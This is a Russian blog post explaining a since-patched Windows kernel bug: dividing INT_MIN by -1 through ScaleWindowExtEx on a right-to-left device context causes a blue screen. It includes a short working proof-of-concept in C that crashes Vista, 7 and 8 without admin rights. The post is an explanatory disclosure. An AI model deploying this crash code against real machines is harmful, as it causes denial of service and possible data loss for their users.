Как уронить Windows шестью строчками кода

См. также: Microsoft исправила уязвимость с синим экраном

Однажды один знакомый рассказал мне про одну уязвимость в Windows. А именно из-за нее можно легко вызвать синий экран смерти шестью строчками кода на Си. Причем программа не требует никаких прав администратора и вызывает только одну функцию масштабирования окна.

Немного теории

В случае недопустимой инструкции процессор бросает исключение, а ОС уже сама решает, что с этим делать. Если это ошибка в программе и она никак не обрабатывается, то система выдает всем известное сообщение о том, что прекращена работа программы.

Например, в этом коде деление на ноль — недопустимая инструкция.

#include <stdio.h>

int main()
{
    int a = 2 / 0;
    printf ("%d", a);
    return 0;
}

Если скомпилировать этот код без оптимизации, то мы увидим то самое окно о прекращении работы программы (конечно, компилятор выдаст warning).

Если же выполняется недопустимая инструкция в ядре системы, то все немного интереснее: мы увидим синий экран.

INT_MIN / -1

Есть еще одна исключительная инструкция — деление INT_MIN на -1.
Дело в том, что INT_MIN=−2,147,483,648=-2³¹, а INT_MAX=2,147,483,647=2³¹-1. Довольно очевидно, почему они отличаются на единицу: невозможно в int запихнуть ноль, множество положительных чисел и множество отрицательных чисел так, чтобы количество положительных и отрицательных чисел было равно.
Получается, при делении INT_MIN на -1 результат не умещается в int и процессор бросает исключение.

Следующий код, скомпилированный без оптимизации, вызывает исключительную инструкцию:

#include <stdio.h>
#include <limits.h>

int main()
{
    int a = INT_MIN;
    int b = -1;
    int c = a / b;
    printf ("%d", c);
    return 0;
}

Ядро Windows

В ядре Windows принято не использовать переменные с плавающей точкой. Прямо вообще-вообще не использовать. Поэтому когда приходится работать с чем-то нецелым, используют две целочисленные переменные: числитель и знаменатель.
Также для увеличения производительности некоторые WinAPI функции, вызываемые программой, выполняются в ядре системы. Пример такой функции — ScaleWindowExtEx. Она ничего особенного не делает — функция масштабирует окно.
Прототип функции:

BOOL ScaleWindowExtEx(
  _In_   HDC hdc,
  _In_   int Xnum,
  _In_   int Xdenom,
  _In_   int Ynum,
  _In_   int Ydenom,
  _Out_  LPSIZE lpSize
);

Сама программа

Отлично, это то, что нам нужно. Второй и третий параметры, четвертый и пятый параметры — это как раз числитель и знаменатель.
Xnum / Xdenom — масштабирование по x.
Ynum / Ydenom — масштабирование по y.
Но функция не всегда делит одно число на другое. Функция будет делить одно число на другое в случае, если разметка контекста рисования (device context) располагается справа налево. В противном случае она, видимо, будет перед делением как-то менять эти числа. Чтобы поменять разметку контекста, есть функция SetLayout.
Значит, создаем контекст рисования вызовом CreateCompatibleDC (NULL). Устанавливаем разметку контекста с помощью SetLayout. После чего вызываем функцию ScaleWindowExtEx с нужными параметрами.
Конечно, программисты Майкрософт не полные дебилы проверяют деление на ноль, и передачей третьим параметром числа ноль Windows не уронишь.
Но вот деление INT_MIN на -1 они не проверяют. Из-за чего происходит необработанное исключение в ядре системе, что приводит к синему экрану.
Такой код программы при добавлении библиотеки gdi32.lib уронит Windows:

#include <windows.h>
#include <limits.h>

int main()
{
	HDC dc = CreateCompatibleDC (NULL);
	SetLayout (dc, LAYOUT_RTL);
	ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL);
}

Его можно подсократить до шести строчек для добавления пафосного заголовка:

#include <windows.h>
int main() {
	HDC dc = CreateCompatibleDC (NULL);
	SetLayout (dc, LAYOUT_RTL);
	ScaleWindowExtEx (dc, -2147483647 - 1, -1, 1, 1, NULL);
}

Тут INT_MIN заменен на -2147483648, чтобы не добавлять лишнюю строчку, подключая файл limits.h. Конечно, можно код сократить до двух строчек, но тогда он уже будет совсем нечитабелен. Да и все функции на Си всегда можно сократить в одну очень-очень длинную строчку.

Система падает на Windows Vista, 7 и 8. Баг наблюдался как на 32-разрядной системе, так и на 64-разрядной (хотя на 64-разрядной не всегда этот баг наблюдается).

P.S. Раньше с помощью такой недопустимой инструкции можно было убить bash, но сейчас это исправили.

UPDATE1: Изменил ((int) 0x8000/0x80000000) на (-2147483647 — 1), теперь должно работать. Спасибо, AndreyDmitriev и alper.
UPDATE2: Microsoft исправила эту уязвимость.
UPDATE3: Ссылка на статью «первооткрывателя»: blog.cmpxchg8b.com/2013/02/the-other-integer-overflow.html.